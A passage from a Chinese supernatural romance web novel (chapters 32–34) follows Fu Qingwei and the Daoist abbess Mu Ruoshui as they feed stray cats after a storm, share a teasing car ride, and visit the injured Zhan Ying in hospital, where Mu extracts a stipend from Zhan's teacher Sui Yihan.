等一下。 唯一一间卧室的门被敲响了, 傅清微通身上下只裹了一条被子, 像古代送上门侍寝的宠妃。 穆若水完全把卧室当成自己的了,门只开了条缝, 漂亮的眉眼倦怠,问道:“有事?” “有,我拿件新睡衣。” “哦。” 穆若水让开了路。 她刚刚差点睡着被敲门声吵醒,开了门就回床上睡觉了,双目阖起,规规矩矩的一长条隆起在被子里。 傅清微从衣柜里找出新的睡衣,回头看看这幅场景,有点想念她的床。 一米五的床,观主只睡了三分之一不到,还有好多空余。 反正她睡着了,傅清微披着厚厚的被子来回走不方便,干脆背对她穿上睡衣。 雪白的裸背,隆起的蝴蝶骨,到腰肢收窄,髋部性感,可以盛水的腰窝在两侧若隐若现,女人用手遮住自己的眼帘。 傅清微穿好长衬衣,一手抱起地上的被子往外面走去。 关上门时她往床上瞧了一眼,绣眉微蹙,刚刚观主是这个姿势吗? 房门被轻轻带上。 穆若水戴上眼罩,彻底陷入了黑暗。 * 鹤市的风刮了一晚上。 早起还能闻到窗外潮湿的泥土味,市政和路政那边加急处理主干道的障碍物,恢复城市交通,小区里倒伏的树木基本都由物业负责。 时间尚早,物业还没工作,外面看起来和昨夜没有区别,水已经退得干净,露出白色栏杆东倒西歪的尸体,放眼皆是狼藉。 傅清微挂在单杠上卷腹,刚做到第二组,听见卧室的动静,连忙加快了速度。 穆若水推门出来,她的双脚同时落了地。 “早上好。”她拉了拉上身的黑色运动背心,试图拉到根本不存在的长度。 “……好。” 穆若水自她亮晶晶淌汗的腰腹扫了一眼,没有多作停留,来到沙发上熟练地看书。 昨晚她也有些冲动了。 不该对傅清微说那么多,还……确实有点暧昧了。 想来有些不应当。 但让观主道歉是绝无可能! 傅清微脑补能力那么离谱,难道她就没有一点责任吗?穆观主在心里给自己找了个台阶下。 刚经历兵荒马乱的一夜,外面和里面都是,两人的相处颇为安静。 傅清微锻炼完,拿了干净衣服去卫生间洗澡,谨慎地锁上了门。 第一次听见锁门声的穆若水:“……” 傅清微注意着外面的声音,冲了个不到三分钟的战斗澡,中途因为过于紧张幻听了一下,险些在浴室里绊了一跤。 手撑在架子上,打翻了瓶瓶罐罐,叮叮咣咣滚落一地。 穆若水人都站了起来,本来想过去,改成远远地问了一句,得到“没事”的回答,慢慢坐了回来。 傅清微吃早餐,穆若水在看书,不看她,生怕她因为脑补心脏又受刺激。 傅清微坐到她的单人沙发上,打开了本地早间新闻,果不其然正在进行昨天暴雨的专题报道,电视机的影像和女主持人的声音也将穆若水的注意力吸引过去。 屏幕下方蓝色的栏条滚动着新闻标题: 【罕见特大暴雨,地铁全线停运,积水涌入1号线,10人遇难】 【州依坝山体滑坡,村民紧急转移,2人死亡3人失联】 【安兴庄多处房屋、围墙倒塌,十余人被困,受伤3人已送往医院救治】 【多地断电断水,电网正在加急抢修,陆续恢复供电中】 …… 屏幕里摄影机推移,一帧帧扫过灾后的城市,市政和路政连夜将倒在路边的大树扶了起来,抓紧用环卫车清理城市残骸,出事的地铁站被封了起来,住在郊外的村民被暂时集中安置,派发水和食物。 清晨的鹤市一片迷蒙,仿佛这一场雨始终落在人们心里,永远也下不完。 穆若水从电视机前收回视线,从傅清微的脸上看到了一种悲怆和哀伤。 即使她好端端地坐在家里,没有受到一丝一毫的伤害,也会为人们遭遇的惨痛而感同身受,眼眶湿润。 那是属于人类的共通的情感。 也是如今的穆若水所不能理解的感情。 早上八点半,傅清微拿了一些猫粮下楼,来到了一栋楼的后面,把浅口的陶瓷盘子放在地上,然后开始等,左顾右盼,收在大衣里的手指放松又捏紧。 半个小时以后,低矮的草生植物里钻出来一只棕色的小狸花,一天的暴雨过去,竟然连毛都没有湿。 动物比人的感觉敏锐,在暴雨之前,它们早早地找到了藏身之处躲好,绝不出来。 代价是一天没吃饭饿坏了,小狸花环顾了一圈四周,只有一个傅清微离得远远的,它一边警惕着,一边走近了猫碗,把小脑袋埋了进去,一顿苦吃。 傅清微吐了半口气,攥紧的手仍然没有放开。 又过了一会儿,一只比方才那只大一点的三花出现了,三花加入了小狸花的队伍,两个脑袋挤在一起,埋头香喷喷干饭。 穆若水站在离傅清微几步远的地方,从侧面看到了她唇角浅浅上扬。 一直藏在大衣里的手也拿了出来,偏头对上穆若水探究的脸,下意识露出一个放松的笑。 吃完饭小狸花拍拍屁股就走了,三花却徘徊在原地,似乎在寻找什么。 它看见了远处傅清微的身影,仰起圆脑袋,轻轻地喵了一声,慢慢地向她靠近。 ——是只认得恩人的小猫咪。 穆若水眯着眼瞧了瞧,小动物比人类还是可爱不少,至少她不排斥。傅清微这么博爱的人,一定会抱起来撸猫吧。 出乎她的意料,三花走过来以后,傅清微皱眉发出了厌恶的呵斥声。 “去,去。” 三花仰了仰脑袋,在原地犹豫不决,出于信任,最终决定还是走过来。 傅清微随手捡起一根断掉的树枝,在它面前挥了挥,带出危险的风声,小三花终于喵的一声,扭头跑远,钻进绿化带不见了。 傅清微过来收碗,在穆若水疑惑不解的目光里,解释说:“流浪猫亲人不是好事,我不希望它因为相信我,就相信所有的人类。” 所以她宁愿扮演坏人,从不碰它,不亲近它,也好过有朝一日小三花因为信赖人类,被隐藏在人群里人面兽心的畜生残害。以它们瓜子仁大的脑袋,至死都不会明白为什么。 但它好像还是记得自己。 傅清微第一次见它的时候三花一只眼睛受了伤,流血化脓伤得很严重,身上也都是伤痕,躺在草丛里奄奄一息。傅清微把它带去了医院,住了半个月的院,治好了眼睛和猫癣,又给它做了绝育,放回到小区里,平时喂喂它。 另一只小狸花她也“绑架”过,两只都是小母猫,也给它做了绝育,小狸花防御意识很强,而且不亲人,攻击性强,天生属于野外,在这片混得很开。 小狸花早就不记得她,记得的话说不定还要叨她一口,以报“绑架”之仇。 三花现在跟着小狸花混,但还是傻傻的相信人,每次傅清微都要狠心把它赶走。 穆若水说:“既然如此,你为什么不收养它呢?它好像很喜欢你。” 傅清微开玩笑说:“不是已经收养你了吗?” 穆若水脸色沉了沉。 傅清微马上道歉,在观主威胁的目光下,吐露实话:“我……我怕我没办法给它好的生活,负担不起另一条生命。” 她一个人过得磕磕绊绊,日子苦一点难一点没关系,不能让小猫跟着她吃苦。而且她从来没有和另一个小生命生活过,害怕她的力量庇护不了它,毕竟曾经只是活着,就已经需要她拼尽全力。 她本来想找到稳定的工作以后,如果三花还在,她就把它带回家里,相依为命。 后来的事都知道了,她身上的封印失效了,灵异体质爆发,不知道哪天就没命了,说不定都要走在它前面,谈何养它。 除非穆观主一直陪着她,保护她。 但除了自己,哪有永远不离开的人?昨晚她不就差点一去不回吗? 她和它没缘分。 “走吧。”傅清微看着今天始终站在她几步开外的女人,有些好奇,“你怎么离我那么远?” 穆若水手端在袖子里,道:“怕你说我对你暧昧。” 傅清微:“……” 哑然之后失笑,她主动拉近了两步,但也没有特别近,说:“好了,我们回去吧。” 穆若水嗯了一声。 冬天风大,傅清微加快了脚步,穆若水不紧不慢地跟着,回头看了一眼。 那只亲人的小三花悄悄从绿化带里探出脑袋,跟了几步,站在寒风里一动不动,目送傅清微的身影不断远去。 第32章 傅清微一次也没有回头。 穆若水收回了视线。 天冷风愈寒, 尤其是暴雨后没有太阳的天,树枝和叶子打落了一地,满城萧瑟。 穆若水一身交领红色深衣, 连件外袍都没披, 即使傅清微猜到她可能不畏寒风, 也不妨碍她替她觉得冷,何况昨天她还有点咳嗽。 傅清微里面穿了毛衣, 她把外面的大衣脱下来, 刚脱下一只袖子。 穆若水看着她里面紧身毛衣的曲线,说:“你不会是想给我穿吧?” 傅清微点点头。 穆若水露出一个明显会拒绝的笑容, 傅清微以为她会说什么“不用”, 或者“我不冷”之类的借口,女人朝她笑了笑,悄悄往后又挪远一步, 说:“会不会有点暧昧了。” 傅清微:“……” 她不知说什么好, 好笑更多一些。 人怎么能做到又强大狂妄又幼稚可爱的。 傅清微忍不住笑着回她:“不要算了。” 白天的穆观主和晚上的穆观主判若两人,要不是确实撕碎了她一件衣服,早上傅清微还在垃圾桶找到残骸, 她都快怀疑昨晚只是她的一场梦——就算是春梦,也太离谱了些。 可能她真的只是想满足食欲吧,而自己头脑风暴,人心黄黄。 傅清微舒展了一下自己的肢体, 既然下楼呼吸新鲜空气,她干脆多走了一会儿, 穆若水就一直在不远不近的距离, 像个存在感强烈的影子。 物业正在清理大门前路中间破损的白色栏杆,傅清微快走两步去搭了把手。 穆若水依旧不喜见人, 在她忙的时候消失,回来的时候出现,也不知躲去了哪里。 让傅清微联想到暴雨期间提前躲起来的小猫。 两人一前一后,相继回到了家中,自从观主搬来住以后,有她在身边,傅清微前所未有的放松,再没担心过危险,房子里也干干净净的,整个小区她都没见到两只鬼,生活几乎和正常人一样了。 穆若水在沙发翻书,傅清微在卧室反思。 整个复盘了一遍“由剪指甲引发的‘惨案’”之后,她愈发觉得昨夜自己错处多些,不就是剪个指甲吗?观主救她好几次,这点小事都不能满足她吗? 还差点把人气跑了,实在不该。 该怎么去和她道歉呢? 穆若水心不在焉地翻过一页书,低头发现全是陌生字眼,连出场的角色都不认识,她往回翻了几页,重新读,注意力全集中在耳朵上。 卧室一点动静都没有。 傅清微大概是真害怕她了。 先前还会时不时出来倒杯水。 穆若水承认她昨晚有点受刺激,眼泪的刺激,言语的刺激,怒火和茫然,裹挟了她的理智。 ——我可以做,你不能想。 听听这叫什么话?是个人听了都要心里打鼓。 ……过于变态了。 咔哒—— 卧室的门开了,傅清微小心翼翼地从门后面探出半张脸,把不大的客厅都看了一遍,避开了和穆若水的直接对视,慢慢地身子也挪了出来,眼神闪躲,唯唯诺诺。 “观主……” “你想去医院看占科长吗?”穆若水在她开口之前说道。 “啊?” “你不是担心她的伤?” “是。”但是傅清微一个小实习生,在灵管局说话又没分量,占英住院,她只能在家等消息,等微信跳出占英的回复。 “我带你去。” 傅清微看着女人抬起来认真的脸,心想:我真该死啊。 呜呜,观主是现在这个世界上对她最好的人。 “道长——”傅清微把一切顾虑和幻想抛在脑后,只遵循本能朝她跑了过来,客厅不长,短短几步她就来到穆若水面前,停下脚步,眼巴巴望着她,欲行又止。 穆若水顿了几秒,脸偏向一边,向她张开了双手。 青雀飞进了她的怀里。 “道长~”傅清微拖长了音,在她颈窝里撒娇,长发不安分蹭得穆若水的脖子发痒。 自从阿婆去世以后,她好久没和人撒过娇了,生疏但是很快找到了喜欢的依赖感,她的脸紧紧贴着穆若水的侧颈,几乎整个人窝进她冰凉柔软的怀抱。 陌生而熟悉的体温不仅充实了穆若水的怀抱,也充盈了她荒芜的内心,带来前所未有的满足。 笑容不自觉来到穆若水的眼底,她抬手揉了揉年轻女人乌黑的脑袋。 傅清微抬了一下头,又将脸埋了进去,久久地抱着她。 如果观主能一直不走的话,她们两个就这么过一辈子也很好……如果她不走的话。 穆若水也一直保持着抱她的姿势,下巴搁在她头顶,五指抚着她背后的长发,一下又一下,似乎有些出神。 傅清微昨夜睡得不好,快在女人怀里睡着的时候,后腰被轻轻地按了一下。 傅清微墨发铺开散在女人臂弯里,仰起脸,迷迷糊糊的:“怎么了?” “你不去医院看姓占的了?” “哦哦。”傅清微如梦初醒,在她肩头赖了一会儿才困顿地起来,“那我们现在去?正好今天学校停课一天。” “稍等,我打个电话。” 傅清微看她熟练地拿出手机拨号,心想观主越来越像个现代人了。 穆若水手机里除了傅清微,只有占英一个号码,她自然而然拨通了占英的电话。 占英的手机现在被师父岁已寒保管。 岁已寒看见上面的来电显示,呼吸一滞,从病房里走了出去,屏息接起来:“喂?” 回答她的是一个分外年轻的女生:“岁主任你好,我是占科的实习生傅清微。” “你好。”岁已寒略微失望,但语气里听不出来,温声道,“你用穆顾问的手机给占英打电话,有什么事吗?” “不是我要打的,是观主。”傅清微偏头看了一眼。 观主本人正坐在她身边的沙发里,百无聊赖地欣赏自己的手——昨晚剪的指甲她到现在都很满意。 刚刚电话一接通她就把手机扔傅清微怀里了,跟烫手山芋似的,如果不是傅清微知道她是不想和外人说话,还以为她是个究极大社恐。 惜字如金到这个地步,却心甘情愿下山陪伴她形影不离。 这份明目张胆的偏爱,换作任何人身在其中,都不可能不动容。 傅清微心软了软,收回视线。 她自恃偏爱,狐假虎威出了几分不自知的甜蜜,说:“观主想带我去探望占科,不知道方不方便?” 这话听在有心人耳朵里,心中立时自有计较。 岁已寒马上说:“方便,请观主一同前往。我把地址发给你。” “谢谢主任。” “快到了给我打个电话,我去接你们。” “那就劳烦主任了。” 傅清微挂断电话,对着身边的女人挑眉,感叹说:“穆顾问的面子真好用啊。”总局岁主任都毕恭毕敬的,怪不习惯。 穆若水无所谓地说:“你喜欢的话,随便你用。” 傅清微又有些说不上的感觉,让她软绵绵的,泡在温泉里似的感到舒适,骨缝因此细腻地发软。 正在这时,岁已寒发来了医院地址。 叮的一声。 傅清微下意识站起来,刚好拉开了二人间的距离,呼吸的空间也充裕了许多。傅清微深深地呼吸了一口新鲜空气,平复心跳,查看短信,用穆若水的手机打开导航,离这半个小时车程。 “我们现在出门?” “嗯。” 穆若水回房拿了自己的柳木面具,这次和之前出门不一样,先前是漫无目的,公众场合戴面具会引人注目。现在是要见灵管局的人——有名有姓特定的人,她连上半张脸也不想露。 傅清微没有对此表达反对意见,只是出门前往她手里递了一件大衣。 穆若水:“?” 傅清微:“昨天不是还咳嗽,外面风大,别感冒了。” 穆若水再怎么厉害,傅清微也把她当个普通人关心,令现在的穆若水有种难以形容的感觉。 穆若水低低地应了一声,接过大衣,穿在道袍外面,她个子比傅清微只高一些,细腰长腿,看起来也合身,黑色口罩和饱和度低的驼色给她增添了不少温柔的气质。 傅清微和她一起出门,叫了网约车在路边等。 她发现穆若水似乎不喜欢穿她给她买的新衣服,每天就紧着那一身穿,除了靴子——鞋子在外面容易脏。 道袍本来就是汉服的一种,现代穿汉服的年轻人也不少,傅清微打开小某书,关键字搜出几身明代道袍,古朴又时尚,递到女人面前。 “你觉得这些衣服怎么样?” “和我穿的差不多。” “我给你买这些你穿吗?” “你还有钱?”穆若水瞟了她一眼。 “……”傅清微被噎住,说,“我会挣到钱的,你不用管钱的事。” “等你挣到再说吧。” 傅清微的贫穷女大人设根深蒂固,她也想一掷千金扭转印象,奈何被戳中,垂头丧气地低下了头。 “你这件大衣不错,以后归我了。”头顶落下一道淡然的女声。 傅清微蓦地抬起头,眨了眨眼。 她忽然想起来,她不是斩钉截铁说不穿她的衣服吗?现在不仅穿了,还据为己有。 一个对视间,穆若水也记起来了自己说过的话,在傅清微再次开口前,提前警告道:“你不准说话!” 傅清微目光染上浅浅笑意,给自己嘴巴做了个上拉链的手势。 穆若水简直想把大衣当场脱了还给她。 就不该想着给她省钱!省她的钱,丢自己的脸! “你还笑?”观主生气了。 傅清微不敢再笑,但是她止不住,一回生二回熟,于是她唇角微翘,面对面倾身过去,将脸埋进了个子稍高的女人颈窝里。 小区门口骤然刮来一阵冷风,树叶卷起,傅清微下意识往她怀里缩了缩,穆若水被她的动作弄得后退了半步才稳住身形。 “有点冷。” “……嗯。” 一声几不可闻的轻哑回答,她空着的右手抬起来,缓缓落在年轻女人纤细的腰肢。 第33章 网约车打着双闪停在路边。 刚刚经历过一天灾情, 出门的人少,上车点的马路上站着的就一对抱在一起的女生。 司机师傅见多识广,急忙赶在她俩啃在一起之前, 千钧一发拨通了傅清微的电话。 穆若水放下轻轻搭在她腰上的手, 看向远处。 傅清微从她肩窝里抬起头, 拉开两步距离,刚接起电话便看到了一旁的网约车, 她挂断通话, 拉着穆若水的手腕坐了进去。 和上次一样,她要充当空气清新剂。 因为有了几次乌龙的亲密接触, 她们俩对拥抱的承受阈值大大提高, 傅清微便斗胆问了一句:“我可以抱着你吗?” 穆若水直接说:“不可以。” 司机大姐调了调中央后视镜,心想:小情侣闹别扭了这是。 傅清微:“好吧。” 她轻车熟路地探身过去,一只手撑在穆若水颈边, 用自己身上的气息绵密地包围她的呼吸。 一个脑袋和另一个脑袋重叠在了一起, 时左时右。 司机大姐:“……” 这就强吻上了,还是小年轻有激情。 司机大姐目视前方:“手机尾号多少?” 傅清微头也没回,语速飞快:“69, 谢谢。” 恐怕这声都是从接吻的间隙里匆忙挤出来的,司机提醒了一句:“坐稳,开车了。” 怕电车起步太快,会打断小情侣的亲热, 大姐成人之美,体贴地慢踩电门, 驱车平稳地汇入车流。 行驶到主路以后, 司机大姐往后视镜扫了一眼,果然二人一动不动地吻在一起, 没有受到任何打扰。 今天也是做好事的一天呢。 傅清微脖子酸死了,这两天睡沙发睡得本来就有点轻微落枕,长期保持一个姿势对她颈椎压力颇大,穆若水看到她时不时蹙起的眉头,低声问了句:“脖子疼?” “有一点。”傅清微实话道。 冰凉修长的指尖搭上她的后颈,沿经络缓缓推拿按揉。 傅清微微微睁大眼睛,对她的行为有些意外。 “好些了吗?” “嗯。”傅清微几若未闻地点头。 俗话说十道九医,穆若水身为道士,也修习过医术,她摸到一块淤血不通的地方,多使了一分力。 “嗯——”傅清微猝不及防,鼻子里哼出长长的一声,抓住皮质座椅的指节曲起。 痛则不通,穆若水指腹抚过淤塞之处,又加重了力度。 “啊——” 司机大姐在高架的车流里险些一脚急刹停住,这怎么还嗯嗯啊啊上了呢?可不兴在车里那啥啊。 她看一眼后视镜,衣服穿得好好的,好险,没人脱。 傅清微痛得脸都白了,开口求饶道:“好痛!救命!” 穆若水一手给她疏通经络,无情道:“你叫破喉咙也不会有人来救你的。” 司机大姐才要叫救命。 小情侣在她车里玩什么奇怪play啊。 傅清微脸白了又红,紧紧地闭上嘴巴,直到某一刻痛感神奇地消失了,舒爽到头皮发麻。 道长有真功夫在手上的。 穆若水继续推拿了两下停了手,疑惑地说:“你不是经常健身吗?小小年纪怎么脖子那么硬?” 傅清微哪好坦诚说是睡沙发睡的,含糊其辞道:“现代人都亚健康,没点毛病才不正常。” “你叫的太大声了。”穆若水淡道。 “还不是你太突然了。”傅清微小声控诉道,简直让她怀疑对方是不是故意的。 穆若水扭头看向窗外,唇角往上轻轻地翘了一翘。 后座传来的对白让司机不堪入耳。 “不害怕我了?” “白天不怕,晚上的事晚上再说。” “你别又来献身就行。” “是谁先舔我……”眼泪的。 傅清微后知后觉车里还有一个人,适时地闭上嘴,也给穆若水递了个眼色。 穆若水无所顾忌,抬手按住她的后脑勺,往自己脸前凑。 两人继续忘我地“亲”了一路,不时响起穆观主的惊人之语。 …… 车停在C大附属医院门口,司机一脚电门蹿了出去,所幸现在都是电子支付,否则她恐怕连钱都顾不上结。 傅清微在软件上支付了车费,另外多付了两块,当精神损失费。 在人来人往的医院门口,生死之交界,浊气混杂非同一般。她紧紧牵着穆若水的手腕,以安抚她随时会暴走的杀意,迎面走来几个提着X光片塑料袋的医院患者,傅清微干脆轻轻一带,没有遇到任何抵抗,将穆若水抱在了怀里,改为环住她的腰。 她偏了偏头,几乎贴着女人的耳朵温柔道歉:“是我欠考虑,我们先找个人少的地方。” “嗯。” 穆若水的脸埋在她颈间,隔着口罩呼出一股热气。 在同性风气开放的鹤市,两人抱在一起亲密的举止并未引起过多的注意,但出众的外表还是惹来了三三两两的目光。 然而医院这种地方,见惯生死,美丽皮囊的吸引力远不如那扇面向患者打开的大门,无论是进是出。 二人来到停车场无人的树下,穆若水摘下口罩贴着她的脖子续命,唇瓣挨碰她的锁骨,傅清微尽量忽略脖子里的痒意,给岁主任打了个电话,说她们已经到了。 岁已寒说亲自来接她们,请她们在原地等待。 傅清微特意强调了观主不喜人多,让她安排出一条清场的通道,只允许她一个人会见真人。 在医院有些困难,但是灵管局可以做到。 岁已寒对神秘的穆观主好奇已久,思忖了不足三秒便答应了,答应十分钟内赶到。 穆若水已经吸得差不多了,控制自己没有张嘴留下咬痕,离开她的身体。 傅清微从包里拿出她的柳雕面具,亲自绕到身后,替她戴上,红线穿过鸦青发丝,一指不到的下方,又是白净清透的耳廓。 这个女人太像一幅巧夺天工的工笔画,女娲手下完美的造物——只要她不开口说话。 “好了,道长。” “以后……”穆若水红唇动了动。 “我都帮你戴。” 穆若水心说:你怎么知道我要说这个。 傅清微面对她的脸,最后调整了一次面具,对上她后面漆黑如墨的眼睛。 其实看不清眼神,但她就是知道对方在注视她。 “好了。” 她又说了一遍,退开一步牵了牵女人的衣领,和她并肩而立,等待岁已寒的到来。 …… 岁已寒目力精深,远远地便看到树下站着两道身影,她认出其中一道是刚入职灵管局不久的傅清微,至于另一道…… 白日下一张戴着方相面具的脸,头生双角,口长獠牙,凶神恶煞。 傅清微初看岁已寒在五十米开外,不过三两个呼吸间,她已经来到了二人面前。 傅清微:“岁主任。” 岁已寒向她点了点头,视线不着痕迹落在她身边的女人身上。 女人身量修长,约莫和她差不多高,外披一件挺括的驼色大衣,红衣道袍的里衬,两手自然垂落在宽袖里,仙风道骨。 她仙姿窈窕的身段和阴冷诡谲的傩面像是善与恶的两面。 女人腰上悬了一枚黄色玉佩,圆形,藻井似的花纹雕刻出独一无二的复杂纹路。 面具、玉佩,和上两任主任留下的手札对上了。 这两样东西是慈让真人身份的象征,百年间她短暂的几次露面,均以面具示人,没有人见到过她的真容。 但是她的身形,怎么看也不像一百多岁的老人,甚至不像中年人。 上下只一眼,岁已寒收回打量的视线,不敢多作停留,拱手恭敬道:“晚辈阁皂宗岁已寒,见过慈让真人。” 穆若水不接话。 傅清微介绍道:“她是占英的师父。” 穆若水背手沉沉地嗯了一声,高深莫测,听不出情绪。 从来都是别人介绍占英她是岁主任的徒弟,岁已寒还是第一次沾徒儿的光。 岁已寒不敢怠慢,伸手道:“真人请。” 这是傅清微第一次正式听见穆若水的尊号,有种疏离的割裂感。 她们口中的慈让真人刚刚还在车上给自己按揉肩颈,在马路边和她抱抱,贴贴,就差亲亲了。 穆若水的面具向傅清微转了过来。 傅清微愣了一下,才知道她在等自己发话,但是她的顶头上司位高权重的岁主任就在身边,简直倒反天罡。她压力山大,硬着头皮道:“那我们走吧?” 穆若水颔首。 岁已寒诧异地望了望她。 占英先前说傅清微与慈让真人关系匪浅,岁已寒也猜测二人是否有什么渊源,但绝没有想过这个方向。在她心目中,观主是个一百多岁的老人,就像她的师门阁皂宗的掌门,须发皆白,再怎么童颜鹤发、面色红润,看上去也有七八十岁。 忘年恋也不是这么恋的,除非傅清微想从她身上得到什么。即便如此,她也该唯观主之命是从,怎么像是反了过来?观主处处以她为主。 岁已寒悄无痕迹地改口:“两位请。” 听出区别的傅清微:“……” 自己也算是一人得道、鸡犬升天了。 穆若水走在前头,岁已寒特意落后她两步,瞧着前面两位并肩而行的背影,身形相仿,青丝如墨,露出来的脖子和手,肌肤年轻饱满,推断慈让真人真实外表恐怕只在二十多岁。 怎么会这样?世间难道真有长生不老之术? 岁已寒掩下眸子里的震惊。 上两任的手札没有相关记载。 她是第一个知道这件事的人吗?还是说邱老也知道,为何邱老从未和她提起过? 三人从偏门小径而入,一路拐进相对安静的住院部,绿荫绿道,白色大楼整齐排列,途中没有遇到半个人影。 一行畅通无阻地进了占英所住的单独楼层,只有三人错落响起的脚步声。 电梯门在面前打开,岁已寒边走边说:“占英的伤势很重,有幸得到了及时的救治,已经脱离生命危险了。不过她还在昏迷,医生不建议探望太久。” “好,谢谢。” 傅清微咬了咬唇,有些词穷。 和她的脑补能力相反,她不擅长社交,大多数时候沉默内敛。 她本能想去看穆若水,但是显得她在领导面前不成熟,跟家长送孩子上班似的,遂忍住了冲动。 “真人。” “……” 她只是不爱说话,她身边的穆若水从头到尾一言不发,幽灵般行走在墙壁雪白的走廊,光线昏暗,青面獠牙的傩面看起来更像是地府派来索命的鬼差。 幸得清场了,否则病人见到非得吓得真去见阎王不可。 见面短短的十几分钟,岁已寒心目中慈让真人的形象一次又一次地颠覆。 她把前两任留下的工作手札看了一遍又一遍,烂熟于心倒背如流,对寥寥几笔提起却神秘至极的蓬莱观主亦心生好奇,甚至有些崇拜向往。 在她的时代,慈让真人时隔多年出关无疑让她的好奇心达到了顶峰,局里招揽穆观主的任务又交到了她的徒弟占英手上,她原以为这次会面会像是见偶像,她向她讨教道法,或者聊聊她的经历,哪怕她预料到对方脾气不好,可能不太搭理她,也想不到这样的局面。 是真的一个标点符号都不搭理啊。 她怀疑慈让真人眼睛里除了她的“女朋友”什么都看不到。 岁已寒:“小傅。” 傅清微停下脚步。 穆若水跟着停下脚步,脸和脚尖都转过来朝着傅清微的方向。 岁已寒:“没事。”做个实验罢了,验证成功。 穆观主果然只对傅清微有反应。 占英住在VIP病房,现在里面没有人,床头摆放着新鲜的香水百合。还好没买花,傅清微把带来的果篮放在边上,坐在了床沿,看着她昏迷不醒苍白的脸,默默祈祷对方能快点好起来。 岁已寒站在后面,视线跟着落在自己的徒儿身上,多了许多怜惜。 忽然,她余光捕捉到一个手势。 穆若水站在窗边,一根手指朝她点了点,又指了指自己跟前的地面。 岁已寒食指点了点自己:我?过去? 穆若水点头。 慈让真人的形象在慢慢修复,岁已寒大袖飘飘,步履从容地来到穆若水跟前。 “真人有什么吩咐?”岁已寒态度尊敬,洗耳恭听。 却见她掏出手机,似乎是在打字,接着把屏幕横过来,沉默亮给她看。 她用了一个字幕软件,点击以后满屏幕只有一个大字:【钱!!!】 岁已寒思忖:“您需要钱?当然,这个我们会满足。” 她打开支付软件要给她转账:“转账收款码给我一下?” 观主打字说:【没有】 岁已寒倒腾了一下自己的账户,从钱包里掏出一张银行卡递给她,说:“这里面是十万块,您先用着,不够的话再和我说。” 穆若水面具后的眼睛微微一亮。 她低头又打了几个字,把手机递过来,岁已寒定睛一看,白底黑字的六个字: 【加个联系方式】 第34章 岁已寒点头说好。 穆若水收好银行卡, 心安理得地继续打字。 【只拿钱,不干活】 岁已寒含笑说:“当然,您说什么就是什么。观主当了灵管局这么多年的顾问, 劳苦功高, 从前条件不好, 就当是补发的薪水了。” 穆若水完全不记得自己和灵管局的渊源,但不拿白不拿。 她可没什么收钱办事的准则, 她要钱, 对方给钱。岁已寒要是不给,她也不会动手抢, 都是她自愿的。 她不需要花钱, 要不是傅清微为了两个工钱不时愁眉苦脸地按计算器,她才懒得开口。 【就这些?】 穆若水对现代换算的钱没有概念,但上次买两身衣服就花了几千块, 想来也不怎么经用。灵管局够小气的, 拿这仨瓜俩枣糊弄她。 要不还是直接抢吧。 穆若水收在大衣的修长指节活动了一下,目光冷冷地落在岁已寒纤细的脖子上。 在她召唤出天雷之前,自己应该能杀她一百次。 岁已寒想了想: “要不您办好卡以后, 我们按照顾问的标准给您每个月固定发津贴?” 她注视着凶面獠牙的面具,一声轻轻的鼻音从后面发出来,听不出真实年龄。 “嗯?” 岁已寒说:“包括您在内,目前灵管局的顾问有四位, 无不有通天彻地之能,拿的也是最高的津贴。” 【多少】 岁已寒比照邱老的基准, 给她报了一个数字。 穆若水依旧没有概念, 于是静静地没有接话。 “如果想要申请更高的津贴的话,需要向总局打报告, 等审批下来。” 岁已寒看向手机横屏上的字。 【可】 穆若水不想和灵管局的人牵连太深,主要是烦会有更多人打扰她。一个跑腿的占英,一个拿钱的她师父,已经是她忍耐的极限。 干脆见好就收,傅清微不够用她再来抢也不迟。 岁已寒:“我回局里就给您办工资卡,到时候快递寄给您,地址是傅清微的家吧?” 穆若水合法的身份和手机卡都是灵管局替她弄的,再办张卡不在话下,重点是最后一句话。 【是】 她们果然住在一起。 岁已寒:“三天之内制作完成寄到,第一笔津贴会同时打入您的卡里。” 目的达到了,穆若水摆了摆手。 岁已寒愣了下,这是让她退下吗? 自从她拜入阁皂宗门下,根器上佳,天纵奇才,无论在哪里都是人群焦点,即使是各派师长也纷纷青眼有加,从来没有人这么随意地摆手……叫她退下。 穆若水不见她动,面具后的脸转过来注视着她。 岁已寒看不见她的表情,但能感觉到她皱起了眉头。 “是。” 岁已寒后退。 从谈话中途就莫名竖起的汗毛,随着穆若水目光再一次转向窗外而慢慢地平复。 岁已寒理了理道袍的袖子,松开了一直捏在手中的符箓。 她们两个在窗边低声交流,没有传入傅清微的耳朵。 占英手术麻药的效果过去,刚好在此时醒过来,嘴唇干燥脱皮,闭着眼喃喃地喊了声:“师父……” 岁已寒快步过来。 傅清微连忙把位置让给她,岁已寒伸手让占英抬起来的手能握住她,俯身去摸她的脸。 “为师在,有没有哪里不舒服?” 傅清微忽然发现岁主任也会很温柔。 她下意识将目光投向窗边的穆若水,不知道自己受伤她会不会也和她这么说话,应该不会的,观主只会趁机喝她的血。 谁让自己不是她徒弟呢? 穆若水回头第一时间接触她的视线,歪了歪头,似乎有一个问号在她脑袋旁边冒了出来。 傅清微蓦地扬了扬唇。 算了,观主就是观主,观主是特别的,不温柔也没关系。 “师父,蛟……” “已经解决了,不用担心。”岁已寒温柔道,没和她提鹤市受灾严重的事,影响她养伤。 “那就好。”占英虚弱道。 麻药的镇痛效果在一分一秒地失去,占英有种蜷缩起来的冲动,攥着岁已寒的指节泛白,眼尾染上晶莹泪光。 “师父我疼,你抱抱我。”她的脸贴近女人的胸口。 傅清微张了张嘴,突然有种不知道该不该继续看下去的感觉。 “岁主任,占科长,我们先走了。”傅清微礼貌地出声告辞。 占英张开泪意朦胧的眼睛,苍白的病容浮起可疑的红晕。 “……” “我刚来一会儿。”傅清微体贴地解答了她未出口的话,掠过极浅的笑意。 “……” 岁已寒替占英回答:“感谢你们的探望,群英好了之后我会让她亲自去道谢。” 傅清微笑道:“主任客气,祝占科早日康复,不打扰你们了。” 她向窗边招了招手,方才对着岁已寒狂妄高傲招之则来、挥之即去的穆观主乖乖地向她走了过去,仿佛自己都没有意识到。 岁已寒:“……” 她有必要重新估量一下她们的关系了。 穆若水照例一句话都吝啬留下,率先出了病房门,回头一看傅清微还在后面,关门的时候动作缓慢、鬼鬼祟祟。 头顶落下一句:“你在做什么?” 傅清微吓得差点跳起来,穆若水循着她的视线看过去,岁已寒脱鞋上了病床,正把她病体柔弱的徒儿揉进怀里…… 傅清微连忙带上病房门。 “你小点声。”她食指比在唇上,嘘道。 “我声音很小,是你做贼心虚。”终于尽情开口的穆观主玩味道。 